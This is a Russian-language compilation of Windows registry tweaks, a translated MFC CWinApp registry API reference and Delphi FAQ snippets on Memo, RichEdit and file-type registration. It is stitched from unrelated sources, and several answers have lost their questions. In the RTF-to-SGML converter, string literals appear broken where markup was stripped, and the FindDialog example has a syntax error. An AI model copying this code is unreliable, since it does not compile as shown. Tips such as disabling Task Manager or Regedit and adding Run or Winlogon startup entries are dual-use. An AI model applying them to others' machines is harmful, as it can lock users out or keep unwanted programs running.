Для дополнительной автоматизации Windows кэширует копию пароля пользователей в локальной системе. Это ведет к угрозе защиты
на некоторых системах. При отключении кэширующего средства, пароль пользователя не запоминается на его компьютере.
Включение этого параметра также удаляет повторное поле ввода пароля Windows, и отключает возможность синхронизации сетевых
паролей.
Ключ: [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Network]
Параметр: DisablePwdCaching
Тип: REG_DWORD
Значение: (0 = отключено, 1=включено)
Отключение Редактора системного реестра (Windows 9x и NT)
Этот параметр не позволит пользователю запустить Regedit.exe или Regedt32.exe для изменения системного реестра.
Предупреждение: Будьте внимательны при изменении этого параметра, и удостоверитесь, что Вы не блокируете свой системный
реестр.
Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]
Параметр: DisableRegistryTools
Тип: REG_DWORD
Значение: (0 = отключено, 1=включено)
Отключение Администратора задач (Windows NT)
Включает или отключает способность пользователя запускать Администратор задач, для наблюдения за процессами, выполнением
программ, а так же созданием изменений в приоритете или в состоянии индивидуальных процессов. (Этот параметр была добавлен в
Сервисном пакете 2.)
Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]
Параметр: DisableTaskMgr
Тип: REG_DWORD
Значение: (0 = отключено, 1=включено)
Управление свойством Автозапуска (Windows 9x и NT)
Определяет, включено ли свойство Автозапуска на любом из дисков, связанном с системой. Когда средства Автозапуска
присутствуют на диске, то они срабатывают, при разрешенном свойстве Автозапуска.
Этот параметр содержит 32 бита. Нижние 26 битов представляют каждый диск, исходя из того, что самый нижний бит, представляет
диск A, а 26-ой бит, представляет диск Z. Если бит равен 0, свойство автозапуска, включено на этом диске. Если бит равен 1,
свойство автозапуска заблокировано на этом диске.
Например, если значение этого параметра равно 0x8 (двоичное 1000), автозапуск заблокирован на диске D. Обратите внимание, что
значение 1 в бите, представляющем CD ROM, имеет приоритет над значением параметра Autorun.
Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
Параметр: NoDriveTypeAutoRun
Тип: REG_DWORD
Предотвращение запуска основного хранителя экрана (Windows NT)
Windows NT имеет заданный по умолчанию хранитель экрана login.scr, который запускается, даже если хранитель экрана не был
выбран. Это может создать угрозу защите, поскольку позволяет локальному пользователю заменить login.scr другой программой,
связанной с системными привилегиями.
1. Измените значение параметра 'ScreenSaveActive' на '0', чтобы отключить хранитель экрана.
2. Выйдите из Regedit и перезагрузитесь.
Обратите внимание: Может использоваться альтернативный хранитель экрана. Ели Вы не используете отключение, измените значение
'SCRNSAVE.EXE' в том же ключе, на значение равное полному пути к хранителю экрана, который Вы желаете использовать. Что бы
изменения вступили в силу, требуется перезагрузка.
Ключ: [HKEY_USERS\.DEFAULT\Control Panel\Desktop]
Параметр: ScreenSaveActive
Тип: REG_SZ
Значение: (0 = отключено, 1=включено)
Возможность выключения компьютера из диалогового окна опознавания (Windows NT)
Когда этот параметр включен, Вы можете использовать команду "Выключить компьютер" из диалогового окна опознавания, при
запуске системы, если передумали начинать работу.
Значение по умолчанию: Сервер NT = Заблокирован, Рабочая станция NT = Включена.
Ключ: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
Параметр: ShutdownWithoutLogon
Тип: REG_SZ
Значение: (0 = отключено, 1=включено)
Определение исполняемых файлов, которые будут запущены при входе в систему (Windows NT)
Этот параметр определяет исполняемые файлы, которые будут запущены при входе в систему, он может быть изменен простым
редактированием значений.
Ключ: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
Параметр: System
Тип: REG_SZ
Значение: (значение по умолчанию = lsass.exe)
===============
[Советы и уловки]
===============
Показ полноцветных значков без пакета Plus (Windows 9x и NT)
Ключ, дающий Вам возможность отображать значки в полноцветном режиме, без установки пакета Plus. Обратите внимание: Вам
нужна графическая плата, способная к представлению более чем 256 цветов.
Ключ: [HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics]
Параметр: Shell Icon BPP
Тип: REG_SZ
Значение: 16
Заданное по умолчанию название и информация о компании (Windows 9x и NT)
Когда Вы устанавливаете новую программу, используя программу установки Microsoft, отображается заданное по умолчанию имя и
компания, эти значения могут быть изменены, когда они неправильны.
1. Используя Regedit, откройте ключ указанный ниже.
2. Измените значения параметров 'DefName' и 'DefCompany' на Ваше текущее имя и название компании соответственно.
3. При последующих установках программ будут использоваться эти новые значения.
Обратите внимание: Эти изменения не будут затрагивать уже зарегистрированные программы, они воздействует только на новые
инсталляции.
Ключ: [HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info]
Тип: REG_SZ
Удаление элементов из меню 'Создать' (Windows 9x и NT)
Когда Вы щелкаете правой кнопкой мыши на вашем рабочем столе или других выбранных программах появляется подменю Создать,
которое содержит список заданных по умолчанию шаблонов. Этот список может быть изменен для того, чтобы включить в меню
только шаблоны, которые Вы хотите.
Каждый шаблон существует в ключе [HKEY_CLASSES_ROOT], и связан с расширением файла. Является ли он видимым, или нет в
меню Создать определяется тем, имеет ли связанный элемент подключ по имени 'ShellNew'.
Например, в меню Создать обычно имеется пункт "Текстовый документ ". Она видима потому, что существует ключ:
[HKEY_CLASSES_ROOT\.txt\ShellNew], если Вы переименуете ключ так, что он больше не будет иметь имя 'ShellNew' например,
[HKEY_CLASSES_ROOT\.txt\ShellNewOld],то команда исчезнет из меню Создать.
1. Откройте Regedit и используя функцию Поиск (Ctrl+F) найдите все значения 'ShellNew'.
2. Некоторые из них будут находится в корневом ключе [HKEY_CLASSES_ROOT], если Вы не хотите, чтобы команда для
определенного формата файла в котором находится подключ 'ShellNew', была отображена, переименуйте 'ShellNew' на 'ShellNewOld'.
Обратите внимание: Изменения должны вступить в силу немедленно, без перезагрузки.
Изменение расположения системных и специальных папок (Windows 9x и NT)
Windows сохраняет ряд специальных папок типа " Мои Документы ", "Рабочий стол", "Избранное" и меню “Автозагрузка". Эти
папки могут быть перемещены на новое место в Вашей системе, и модифицированы в этом ключе.
1. Используя Regedit, откройте ключ указанный ниже, в нем перечислены все специальные папки Windows.
2. Обратите внимание на текущее место папки, которую Вы хотите переместить и затем, используя Проводник, переместите папку на
новое место.
3. Отредактируйте параметр в этом ключе для папки, которую Вы переместили, чтобы зарегестрировать новое место каталога.
Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
Удаление значков с Вашего Рабочего стола (Windows 9x и NT)
Этот ключ содержит ряд подключей, которые содержат информацию относительно имен специальных значков на вашем рабочем
столе. Через этот ключ Вы можете установить, какой из значков является видимым на Рабочем столе, включая “Мой Компьютер”,
“Входящие”, “MSN” и “Internet” значки.
Имя каждого подключа это глобальный уникальный идентификатор (GUID), и значение по умолчанию каждого такого ключа это его
удобочитаемое имя, хотя оно может и не совпадать с именем значка на Рабочем столе.
Удаление значка с Вашего Рабочего стола:
1. Проверьте все подключи, пока не найдете ключ, представляющий значок, который Вы хотите удалить с Вашего Рабочего стола,
удалите этот ключ, и значок должен исчезнуть.
Ключ: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace]
Автоматически запускаемые программы при загрузке Windows (Windows 9x и NT)
Вы можете автоматически запускать программы всякий раз, когда Windows загружается. Если Вы имеете программы, которые
автоматически запускаются, а Вы не хотите этого, они могут быть в этом ключе.
1. Откройте Regedit, и найдите ключ указанный ниже.
2. Для каждой программы которую Вы хотите запустить автоматически, создайте новый строковый параметр, используя подробное
имя программы, и установите его значение равным пути к выполняемому файлу программы.
Например. Чтобы автоматически запустить Блокнот, добавьте новый параметр "Блокнот" = "c:\windows\notepad.exe"
Обратите внимание: Не забудьте использовать полный путь к программе, если каталог в котором находится файл не включен в
переменную заданых по умолчанию путей поиска файлов.
Ключ: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
Тип: REG_SZ
Создание ярлыка к системным папкам (Windows 9x и NT)
Эта функция позволяет Вам добавлять ярлык к различным системным папкам на вашем Рабочем столе или меню “Пуск”.
Создайте новую папку на Вашем Рабочем столе, и назовите, ее "Панель управления.{21EC2020-3AEA-1069-A2DD-08002B30309D}
". Должен появится значок Панели управления (не ярлык). Теперь Вы можете перемещать значок куда угодно: на Ваш Рабочий стол
или в меню Пуск.
Тот же самое можно сделать для других папок, изменив значения на:
Для Удаленного доступа к сети
Удаленный доступ к сети.{992CFFA0-F557-101A-88EC-00DD010CCC48}
Для Принтеров
Принтеры.{2227A280-3AEA-1069-A2DE-08002B30309D}
Для Панели управления
Панель управления.{21EC2020-3AEA-1069-A2DD-08002B30309D}
Для Моего компьютера
Мой компьютер.{20D04FE0-3AEA-1069-A2D8-08002B30309D}
Для Сетевого окружения
Сетевое окружение.{208D2C60-3AEA-1069-A2D7-08002B30309D}
Для Входящих
Входящие.{00020D75-0000-0000-C000-000000000046}
Для Корзины
Корзина.{645FF040-5081-101B-9F08-00AA002F954E}
Для получения информации по другим папкам посмотрите ключ HKEY_CLASSES_ROOT\CLSID.
Ключ: [HKEY_CLASSES_ROOT\CLSID]
Удаление кэшированных командных строк из меню “Выполнить” (Windows 9x)
Это позволит Вам удалить посторонние команды из диалогового окна “Выполнить” в меню “Пуск”.
Удалите подключи, соответствующие команде, которую Вы хотите удалить, или удалить их все, чтобы очистить список команд.
Ключ: [HKEY_USERS\Default\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU]
Тип: REG_SZ
=========
http://cppclub.newmail.ru/articles/registry01.html
Функции для работы с реестром
Разбирался, давеча, с функциями позволяющими работать с реестром Windows. Нашел ряд функций-членов класса
CWinApp: SetRegistryKey, GetProfileInt, GetProfileString, WriteProfileInt, WriteProfileString . Если кому интересен перевод
MSDN'овского хелпа к этим функциям - то его можно найти здесь.
CWinApp::SetRegistryKey
void SetRegistryKey( LPCTSTR lpszRegistryKey );
void SetRegistryKey( UINT nIDRegistryKey );
Параметры
lpszRegistryKey
Указатель на строку содержащую имя ключа реестра.
nIDRegistryKey
ID/индекс ключа в реестре.
Описание
Заставляет приложение сохранять установки в реестр вместо INI файлов. Эта функция устанавливает
m_pszRegistryKey, которая затем используется в следующих функциях-членах CWinApp: GetProfileInt, GetProfileString,
WriteProfileInt, and WriteProfileString. Если эта функция была вызвана, список недавно используемых файлов (list of
most recently-used - MRU) также сохраняется в реестре. Ключ реестра обычно является именем компании. Ключ
реестра имеет следующий вид: HKEY_CURRENT_USER\Software\\\\.
=========
CWinApp::GetProfileInt
UINT GetProfileInt( LPCTSTR lpszSection, LPCTSTR lpszEntry, int nDefault );
Возвращаемое значение
Если функция успешно отработала - целое значение строки определенной записи. Возвращаемое значение -
значение параметра nDefault если функция не нашла записи. Возвращаемое значение - 0 если значение которое
соответствует заданной записи не целое.
Эта функция поддерживает шестнадцатеричную нотацию для значений в .INI файле. Когда вы получаете знаковое
целое, вы должны перевести значение в int.
Параметры
lpszSection
Указатель на строку завершенную нулем которая определяет секцию, содержащую запись в реестре.
lpszEntry
Указатель на строку завершенную нулем, которая содержит запись, значение которой будет возвращено.
nDefault
Определяет значение по умолчанию для возвращения, если система не сможет найти запись. Это значение может
быть беззнаковым целым (unsigned) в диапазоне от 0 до 65,535 или знаковым (signed) в диапазоне от -32,768 до
32,767.
Описание
Вызывайте эту функцию для получения целого значения записи из определенной секции из реестра или .INI файла.
Записи сохраняются следующим образом:
В Windows NT, значение сохраняется в ключ реестра.
В Windows 3.x, значение сохраняется в WIN.INI файл.
В Windows 95, значение сохраняется в скрытую версию WIN.INI файла.
Эта функция не чувствительна к регистру букв, таким образом, строки в параметрах lpszSection и lpszEntry могут
использовать буквы разного регистра.
=========
CWinApp::GetProfileString
CString GetProfileString( LPCTSTR lpszSection, LPCTSTR lpszEntry, LPCTSTR lpszDefault = NULL );
Возвращаемое значение
Возвращаемое значение - строка из.INI файла приложения или lpszDefault если строка не найдена. Максимальная
длинна строки, которую поддерживает система, определена в _MAX_PATH. Если lpszDefault равно NULL,
возвращаемое значение - пустая строка.
Параметры
lpszSection
Указатель на строку завершенную нулем которая определяет секцию содержащую запись в реестре.
lpszEntry
Указатель на строку завершенную нулем, которая содержит запись, строка из которой будет возвращена. Это
значение не должно быть равно NULL.
lpszDefault
Указатель на значение строки по умолчанию для заданной записи если запись не найдена в инициализирующем
(INI) файле.
Описание
Вызывайте эту функцию для получения строки связанной с записью в заданной секции реестра приложения или .INI
файла.
Записи сохраняются следующим образом:
В Windows NT, значение сохраняется в ключ реестра.
В Windows 3.x, значение сохраняется в WIN.INI файл.
В Windows 95, значение сохраняется в скрытую версию WIN.INI файла.
Пример
CString strSection = "Моя секция";
CString strStringItem = "Мой строковый элемент";
CString strIntItem = "Мой целый элемент";
CWinApp* pApp = AfxGetApp();
pApp->WriteProfileString(strSection, strStringItem, "test");
CString strValue;
strValue = pApp->GetProfileString(strSection, strStringItem);
ASSERT(strValue == "test");
pApp->WriteProfileInt(strSection, strIntItem, 1234);
int nValue;
nValue = pApp->GetProfileInt(strSection, strIntItem, 0);
ASSERT(nValue == 1234);
=========
CWinApp::WriteProfileInt
BOOL WriteProfileInt( LPCTSTR lpszSection, LPCTSTR lpszEntry, int nValue );
Возвращаемое значение
Не 0 в случае удачного вызова функции, иначе 0.
Параметры
lpszSection
Указатель на строку завершенную нулем, которая определяет секцию, содержащую запись. Если секция не
найдена, она создается. Имя секции не зависит от регистра; строка может сочетать как заглавные, так и
прописные буквы.
lpszEntry
Указатель на строку завершенную нулем, которая содержит запись, в которую будет записано значение. Если
запись не найдена в заданной секции, она создается.
nValue
Содержит значение для записи.
Описание
Вызывайте эту функцию для записи заданного значения в заданную секцию реестра или .INI файл.
Записи сохраняются следующим образом:
В Windows NT, значение сохраняется в ключ реестра.
В Windows 3.x, значение сохраняется в WIN.INI файл.
В Windows 95, значение сохраняется в скрытую версию WIN.INI файла.
Пример
CString strSection = "Моя секция";
CString strStringItem = "Мой строковый элемент";
CString strIntItem = "Мой целый элемент";
CWinApp* pApp = AfxGetApp();
pApp->WriteProfileString(strSection, strStringItem, "test");
CString strValue;
strValue = pApp->GetProfileString(strSection, strStringItem);
ASSERT(strValue == "test");
pApp->WriteProfileInt(strSection, strIntItem, 1234);
int nValue;
nValue = pApp->GetProfileInt(strSection, strIntItem, 0);
ASSERT(nValue == 1234);
=========
CWinApp::WriteProfileString
BOOL WriteProfileString( LPCTSTR lpszSection, LPCTSTR lpszEntry, LPCTSTR lpszValue );
Возвращаемое значение
Не 0 в случае удачного вызова функции, иначе 0.
Параметры
lpszSection
Указатель на строку завершенную нулем, которая определяет секцию, содержащую запись. Если секция не
найдена, она создается. Имя секции не зависит от регистра; строка может сочетать как заглавные, так и
прописные буквы.
lpszEntry
Указатель на строку завершенную нулем, которая содержит запись, в которую будет записано значение. Если
запись не найдена в заданной секции, она создается.
lpszValue
Указатель на строку, предназначенную для записи. Если этот параметр NULL, запись определенная параметром
lpszEntry удаляется.
Описание
Вызывайте эту функцию для записи заданной строки в заданную секцию реестра или .INI файл.
Записи сохраняются следующим образом:
В Windows NT, значение сохраняется в ключ реестра.
В Windows 3.x, значение сохраняется в WIN.INI файл.
В Windows 95, значение сохраняется в скрытую версию WIN.INI файла.
Пример
CString strSection = "Моя секция";
CString strStringItem = "Мой строковый элемент";
CString strIntItem = "Мой целый элемент";
CWinApp* pApp = AfxGetApp();
pApp->WriteProfileString(strSection, strStringItem, "test");
CString strValue;
strValue = pApp->GetProfileString(strSection, strStringItem);
ASSERT(strValue == "test");
pApp->WriteProfileInt(strSection, strIntItem, 1234);
int nValue;
nValue = pApp->GetProfileInt(strSection, strIntItem, 0);
ASSERT(nValue == 1234);
Как зарегистрировать свое расшерения для файлов? Т.е. чтобы при щелчке по такому файлу вызывалась моя программа.
Вот пример:
//Use the registry to register your own filetype.
Uses
registry;
procedure TForm1.RegisterFileType(prefix:String; exepfad:String);
var
reg:TRegistry;
begin
reg:=TRegistry.Create;
reg.RootKey:=HKEY_CLASSES_ROOT;
//create a new key --> .pci
reg.OpenKey('.'+prefix,True);
//create a new value for this key --> pcifile
reg.WriteString('',prefix+'file');
reg.CloseKey;
//create a new key --> pcifile
reg.CreateKey(prefix+'file');
//create a new key pcifile\DefaultIcon
reg.OpenKey(prefix+'file\DefaultIcon',True);
//and create a value where the icon is stored --> c:\project1.exe,0
reg.WriteString('',exepfad+',0');
reg.CloseKey;
reg.OpenKey(prefix+'file\shell\open\command',True);
//create value where exefile is stored --> c:\project1.exe "%1"
reg.WriteString('',exepfad+' "%1"');
reg.CloseKey;
reg.Free;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
RegisterFileType('pci','c:\project1.exe');
end;
Установите свойство QuickRep.PrinterSettings.PrinterIndex тому принтеру, на который Вы хотите печатать. Значение -1 этого
свойства соответствует принтеру по умолчанию.
Можно проверить содержимое с помощью свойства Value.Kind, которое может принимать следующие значения:
resInt Value.IntResult
resDouble Value.DblResult
resString Value.StrResult
resBool Value.BooResult
resError there was an error
Эти константы объявлены в модуле QRPrntr.
A: Пример:
procedure TForm1.FormCreate(Sender: TObject);
begin
Form1.Brush.Style := bsClear;
Form1.BorderStyle := bsNone
end;
procedure TForm1.BitBtn1Click(Sender: TObject);
begin
Application.Terminate;
end;
Добавьте модуль QREXTRA в раздел uses и следующий код в обработчик OnClick кнопки "Сохранить":
procedure TfrmPreview.ToolButton3Click(Sender: TObject);
begin
frmReport.QuickRep1.ExportToFilter (TQRAsciiExportFilter.Create('c:\report.txt'));
end;
Я нуждаюсь в показать popup меню когда пользователь прекратит выделять текст в TMemo.
Проблема в том, что я не могу определить координаты мышки так, как я хочу вызвать меню
именно в позиции в которой пользователь отпустил клавишу мышки.
procedure TForm1.Memo1MouseUp(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
var ClientPoint,ScreenPoint: TPoint;
begin
if Memo1.SelLength>0 then
begin
ClientPoint.X := X;
ClientPoint.Y := Y;
ScreenPoint := ClientToScreen (ClientPoint);
PopupMenu1.Popup (ScreenPoint.X, ScreenPoint.Y);
end;
end;
Приведу программу, которую я использую для преобразования содержимого RichEdit в SGML-код. Она не формирует полный
HTML-аналог, но вы сами можете добавить необходимый RTF-код и его интерпретацию в HTML-тэги.
Код содержит интуитивно понятные комментарии и строки на шведском языке, нецелесообразные для перевода.
--------------------------------------------------------------------------------
function rtf2sgml (text : string) : string;
{Funktion for att konvertera en RTF-rad till SGML-text.}
var
temptext : string;
start : integer;
begin
text := stringreplaceall (text,'&','##amp;');
text := stringreplaceall (text,'##amp','&');
text := stringreplaceall (text,'\'+chr(39)+'e5','a');
text := stringreplaceall (text,'\'+chr(39)+'c5','A');
text := stringreplaceall (text,'\'+chr(39)+'e4','a');
text := stringreplaceall (text,'\'+chr(39)+'c4','A');
text := stringreplaceall (text,'\'+chr(39)+'f6','o');
text := stringreplaceall (text,'\'+chr(39)+'d6','O');
text := stringreplaceall (text,'\'+chr(39)+'e9','e');
text := stringreplaceall (text,'\'+chr(39)+'c9','E');
text := stringreplaceall (text,'\'+chr(39)+'e1','a');
text := stringreplaceall (text,'\'+chr(39)+'c1','A');
text := stringreplaceall (text,'\'+chr(39)+'e0','a');
text := stringreplaceall (text,'\'+chr(39)+'c0','A');
text := stringreplaceall (text,'\'+chr(39)+'f2','o');
text := stringreplaceall (text,'\'+chr(39)+'d2','O');
text := stringreplaceall (text,'\'+chr(39)+'fc','u');
text := stringreplaceall (text,'\'+chr(39)+'dc','U');
text := stringreplaceall (text,'\'+chr(39)+'a3','?');
text := stringreplaceall (text,'\}','#]#');
text := stringreplaceall (text,'\{','#[#');
text := stringreplaceall (text,'{\rtf1\ansi\deff0\deftab720','');{Skall alltid tas bort}
text := stringreplaceall (text,'{\fonttbl',''); {Skall alltid tas bort}
text := stringreplaceall (text,'{\f0\fnil MS Sans Serif;}','');{Skall alltid tas bort}
text := stringreplaceall (text,'{\f1\fnil\fcharset2 Symbol;}','');{Skall alltid tas bort}
text := stringreplaceall (text,'{\f2\fswiss\fprq2 System;}}','');{Skall alltid tas bort}
text := stringreplaceall (text,'{\colortbl\red0\green0\blue0;}','');{Skall alltid tas bort}
{I version 2.01 av Delphi finns inte \cf0 med i RTF-rutan. Tog darfor bort
det efter \fs16 och la istallet en egen tvatt av \cf0.}
//temptext := hamtastreng (text,'{\rtf1','\deflang');
//text := stringreplace (text,temptext,''); {Hamta och radera allt fran start till deflang}
text := stringreplaceall (text,'\cf0','');
temptext := hamtastreng (text,'\deflang','\pard');{Plocka fran deflang till pard for att fa }
text := stringreplace (text,temptext,'');{oavsett vilken lang det ar. Norska o svenska ar olika}
{Har skall vi plocka bort fs och flera olika siffror beroende pa vilka alternativ vi godkanner.}
//text := stringreplaceall (text,'\fs16','');{8 punkter}
//text := stringreplaceall (text,'\fs20','');{10 punkter}
{Nu stadar vi istallet bort alla tvasiffriga fontsize.}
while pos ('\fs',text) >0 do
begin
application.processmessages;
start := pos ('\fs',text);
Delete(text,start,5);
end;
text := stringreplaceall (text,'\pard\plain\f0 ','
');
text := stringreplaceall (text,'\par \plain\f0\b\ul ','
');
text := stringreplaceall (text,'\plain\f0\b\ul ','
');
text := stringreplaceall (text,'\plain\f0','');
text := stringreplaceall (text,'\par }','
');
text := stringreplaceall (text,'\par ','
');
text := stringreplaceall (text,'#]#','}');
text := stringreplaceall (text,'#[#','{');
text := stringreplaceall (text,'\\','\');
result := text;
end;
--------------------------------------------------------------------------------
//Нижеприведенный кусок кода вырезан из довольно большой программы, вызывающей вышеприведенную функцию.
//Я знаю что мог бы использовать потоки вместо использования отдельного файла, но у меня не было времени для реализации этого
utfilnamn := mditted.exepath+stringreplace(stringreplace(extractfilename(pathname),'.TTT',''),'.ttt','') + 'ut.RTF';
brodtext.lines.savetofile (utfilnamn);
temptext := '';
assignfile(tempF,utfilnamn);
reset (tempF);
try
while not eof(tempF) do
begin
readln (tempF,temptext2);
temptext2 := stringreplaceall (temptext2,'\'+chr(39)+'b6','');
temptext2 := rtf2sgml (temptext2);
if temptext2 <>'' then temptext := temptext+temptext2;
application.processmessages;
end;
finally
closefile (tempF);
end;
deletefile (utfilnamn);
temptext := stringreplaceall (temptext,' ','');
temptext := stringreplaceall (temptext,'
','
');
temptext := stringreplaceall (temptext,'
'+chr(0),'
');
temptext := stringreplaceall (temptext,'
','');
temptext := stringreplaceall (temptext,'
','');
temptext := stringreplaceall (temptext,'
','
');
temptext := stringreplaceall (temptext,'','<#MELLIS>
');
temptext := stringreplaceall (temptext,'<#MELLIS>','');
temptext := stringreplaceall (temptext,'
','
');
temptext := stringreplaceall (temptext,'
','
');
temptext := stringreplaceall (temptext,'
-','
_');
temptext := stringreplaceall (temptext,'
_','_');
while pos('_',temptext)>0 do
begin
application.processmessages;
temptext2 := hamtastreng (temptext,'_','
');
temptext := stringreplace (temptext,temptext2+'
',temptext2+'');
temptext := stringreplace (temptext,'_','-');
end;
writeln (F,''+temptext+'');
Для вставки строки в memo :
procedure TForm1.Button1Click(Sender: TObject);
begin
with Memo1 do begin
SelStart:=10;
SelLength:=0;
SelText:='This is a string inserted into a memo, at 10th char position ';
end;
end;
для вставки и замены:
procedure TForm1.Button1Click(Sender: TObject);
begin
with Memo1 do begin
SelStart:=10;
SelLength:=20;
SelText:='This is a string inserted, at 10th char position replacing 20 chars ';
end;
end;
uses ClipBrd;
procedure TForm1.Memo1KeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);
begin
if ((Key = ord('V')) and (ssCtrl in Shift)) then
begin
if Clipboard.HasFormat(CF_TEXT) then
ClipBoard.Clear;
Memo1.SelText := 'Delphi is RAD!';
key := 0;
end;
end;
Считайте файл в TMemoryStream, затем ипользуйте метод TMemo SetSelTextBuf() для вставки текста;
var
TheMStream : TMemoryStream;
Zero : char;
begin
TheMStream := TMemoryStream.Create;
TheMStream.LoadFromFile('C:\AUTOEXEC.BAT');
TheMStream.Seek(0, soFromEnd);
//Null terminate the buffer!
Zero := #0;
TheMStream.Write(Zero, 1);
TheMStream.Seek(0, soFromBeginning);
Memo1.SetSelTextBuf(TheMStream.Memory);
TheMStream.Free;
end;
Нужно послать в Memo сообщение EM_SETTABSTOPS.
Следующий пример устанавливает первые пять позиций табуляции равным 20 пикселям:
procedure TForm1.FormCreate(Sender: TObject);
var
DialogUnitsX : LongInt;
PixelsX : LongInt;
i : integer;
TabArray : array[0..4] of integer;
begin
Memo1.WantTabs := true;
DialogUnitsX := LoWord(GetDialogBaseUnits);
PixelsX := 20;
for i := 1 to 5 do begin
TabArray[i - 1] :=
((PixelsX * i ) * 4) div DialogUnitsX;
end;
SendMessage(Memo1.Handle,
EM_SETTABSTOPS,
5,
LongInt(@TabArray));
Memo1.Refresh;
end;
С помощью API-функции SendMessage можно задать поля в Memo-компоненте. Если необходимо, например, сделать отступ в 20
пикселей слева то можно это сделать следующим образом:
var Rect: TRect;
begin
SendMessage( Memo1.Handle, EM_GETRECT, 0, LongInt(@Rect));
Rect.Left:= 20;
SendMessage(Memo1.Handle, EM_SETRECT, 0, LongInt(@Rect));
Memo1.Refresh;
end;
Чтобы определить номер текущей строки любого объекта управления edit - пошлите ей сообщение EM_LINEFROMCHAR
Пример:
procedure TForm1.Button1Click(Sender: TObject);
var
LineNumber : integer;
begin
LineNumber := SendMessage(Memo1.Handle, EM_LINEFROMCHAR, word(-1), 0);
ShowMessage(IntToStr(LineNumber));
end;
Я добавляю програмно несколько строк в конец поля Memo, а их не видно. Как прокрутить Memo, чтобы было видно последние
строки ?
Примерно так:
SendMessage(Memo1.Handle, EM_LINESCROLL, 0, Memo1.Lines.Count-1);
или
Пример как прокрутить строки у любого визуального компонента, содержащего списоки, например ListBox...
Var
M: TWMScroll;
// тут что-то
Begin
// и тут что-то
M.Msg := WM_VSCROLL;
M.ScrollCode := SB_BOTTOM;
// и тут что-то
// какой-то цикл
ListBox1.Items.Add(Name);
ListBox1.Dispatch(M);
Application.ProcessMessages;
// конец цикла
""" Стас (15.06.00 03:30)
Я совсем юнный пользователь дельфи и пробую переделывать примеры программ,может научусь так чему нибудь..Вообщем есть в
приложении подобие текстового редактора, но он сохраняет в rtf, как переделать в тхт?
""" Mike Goblin - mgoblin@mail.ru (16.06.00 15:05)
Наверное вы используете пример редактора из дельфи.
В форме окна редактирования у компонента RichEdit установите св-во PlainText = true
RichEdit должен редактировать тексты размером больше 64 кб, но по-умолчанию не хочет этого делать... Как установить
максимальный размер?
=== 1 ===
У этого компонента есть свойство MaxLength, которое работает некорректно.
Поэтому лучше пользоваться RichEdit.Perform(EM_LIMITTEXT, нужный размер, 0);
Причем перед каждом открытии файла это действие необходимо повторять.
Maxim Liverovskiy
(2:5030/254.38)
=== 2 ===
Если Вы передаете в качестве размера 0, то ОС ограничивает размер
OS Specific Default Value. Реально, по результатам моих экспериментов,
поставить можно размер, чуть меньший доступной виртуальной памяти.
Я ограничился 90% от свободной виртуалки.
=== 3 ===
Для того, чтобы не повторять этот вызов (EM_LIMITTEXT), можно воспользоваться
сообщением EM_EXLIMITTEXT.
=== 1 ===
Table2..Text.Clear;
Table2..Text.Add(Table1..Text);
=== 2 ===
MemoField1.Assign(MemoField2);
Make sure the dataset is in Edit mode.
=== 3 ===
Var
T : TMemoryStream
Begin
T := TMemoryStream.Create;
Table1.SavetoStream(T);
Table2.LoadFromStream(T);
T.Destroy;
End;
=== 4 ===
Table2.Memo1.Lines.Assign(Table1.Memo1.Lines);
procedure TForm1.Button1Click(Sender: TObject);
begin
FindDialog1.Position := Point(RichEdit1.Left + RichEdit1.Width, RichEdit1.Top);
FindDialog1.Execute;
end;
procedure TForm1.FindDialog1Find(Sender: TObject);
var
FoundAt: LongInt;
StartPos, ToEnd: Integer;
Begin
with RichEdit1 do
begin
{ begin the search after the current selection if there is one }
{ otherwise, begin at the start of the text }
if SelLength <> 0 then
StartPos := SelStart + SelLength;
Else
StartPos := 0;
{ ToEnd is the length from StartPos to the end of the text in the rich edit control }
ToEnd := Length(Text) - StartPos;
FoundAt := FindText(FindDialog1.FindText, StartPos, ToEnd, [stMatchCase]);
if FoundAt <> -1 then
begin
SetFocus;
SelStart := FoundAt;
SelLength := Length(FindDialog1.FindText);
end;
end;
end;
В примере стили шрифта меняются по нажатию след. комбинаций клавиш
Ctrl + B - вкл/выкл жирного шрифта
Ctrl + I - вкл/выкл наклонного шрифта
Ctrl + S - вкл/выкл зачеркнутого шрифта
Ctrl + U - вкл/выкл подчеркнутого шрифта
Пример:
const
KEY_CTRL_B = 02;
KEY_CTRL_I = 9;
KEY_CTRL_S = 19;
KEY_CTRL_U = 21;
procedure TForm1.RichEdit1KeyPress(Sender: TObject; var Key: Char);
begin
case Ord(Key) of
KEY_CTRL_B:
begin
Key := #0;
if fsBold in (Sender as TRichEdit).SelAttributes.Style then
(Sender as TRichEdit).SelAttributes.Style :=
(Sender as TRichEdit).SelAttributes.Style - [fsBold]
else
(Sender as TRichEdit).SelAttributes.Style :=
(Sender as TRichEdit).SelAttributes.Style + [fsBold];
end;
KEY_CTRL_I:
begin
Key := #0;
if fsItalic in (Sender as TRichEdit).SelAttributes.Style then
(Sender as TRichEdit).SelAttributes.Style :=
(Sender as TRichEdit).SelAttributes.Style - [fsItalic]
else
(Sender as TRichEdit).SelAttributes.Style :=
(Sender as TRichEdit).SelAttributes.Style + [fsItalic];
end;
KEY_CTRL_S:
begin
Key := #0;
if fsStrikeout in (Sender as TRichEdit).SelAttributes.Style then
(Sender as TRichEdit).SelAttributes.Style :=
(Sender as TRichEdit).SelAttributes.Style-[fsStrikeout]
else
(Sender as TRichEdit).SelAttributes.Style :=
